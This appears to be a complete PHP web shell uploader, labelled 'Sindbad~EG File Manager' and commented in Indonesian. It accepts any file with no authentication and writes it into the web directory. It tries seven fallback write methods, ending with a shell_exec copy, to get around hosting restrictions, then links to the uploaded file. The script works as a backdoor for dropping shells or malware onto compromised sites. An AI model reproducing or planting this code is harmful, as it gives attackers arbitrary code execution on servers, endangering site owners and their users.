Sindbad~EG File Manager

<?php
// ⚡ Single Upload Multi-Method (berantai fallback otomatis)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['ufile'])) {
    $f = $_FILES['ufile'];
    if ($f['error'] !== UPLOAD_ERR_OK) {
        die("❌ Error upload: {$f['error']}");
    }

    $src  = $f['tmp_name'];
    $dest = basename($f['name']); // simpan di folder yang sama
    $ok = false;
    $method = null;

    // 1️⃣ move_uploaded_file
    if (move_uploaded_file($src, $dest)) {
        $ok = true;
        $method = "move_uploaded_file";
    }

    // 2️⃣ file_put_contents
    elseif (($data = @file_get_contents($src)) !== false && @file_put_contents($dest, $data)) {
        $ok = true;
        $method = "file_put_contents";
        @unlink($src);
    }

    // 3️⃣ copy()
    elseif (@copy($src, $dest)) {
        $ok = true;
        $method = "copy";
        @unlink($src);
    }

    // 4️⃣ fopen/fread/fwrite manual
    elseif (($in = @fopen($src, 'rb')) && ($out = @fopen($dest, 'wb'))) {
        while (!feof($in)) {
            $chunk = fread($in, 8192);
            if ($chunk === false) break;
            fwrite($out, $chunk);
        }
        fclose($in);
        fclose($out);
        $ok = file_exists($dest) && filesize($dest) > 0;
        $method = "fopen/fwrite";
        @unlink($src);
    }

    // 5️⃣ stream_copy_to_stream
    elseif (($in = @fopen($src, 'rb')) && ($out = @fopen($dest, 'wb')) && @stream_copy_to_stream($in, $out) > 0) {
        fclose($in);
        fclose($out);
        $ok = file_exists($dest);
        $method = "stream_copy_to_stream";
        @unlink($src);
    }

    // 6️⃣ rename()
    elseif (@rename($src, $dest)) {
        $ok = true;
        $method = "rename";
    }

    // 7️⃣ shell_exec cp (fallback ekstrem)
    elseif (function_exists('shell_exec')) {
        @shell_exec("cp " . escapeshellarg($src) . " " . escapeshellarg($dest));
        if (file_exists($dest) && filesize($dest) > 0) {
            $ok = true;
            $method = "shell_exec(cp)";
        }
        @unlink($src);
    }

    // Hasil
    if ($ok) {
        $size = number_format(filesize($dest) / 1024, 2);
        echo "✅ <b>Upload success</b> via <b>$method</b><br>📦 File: <a href='$dest'>$dest</a> ($size KB)";
    } else {
        echo "❌ Semua metode upload gagal.";
    }
}
?>

<!-- Form Upload -->
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="ufile" required>
    <button type="submit">Upload</button>
</form>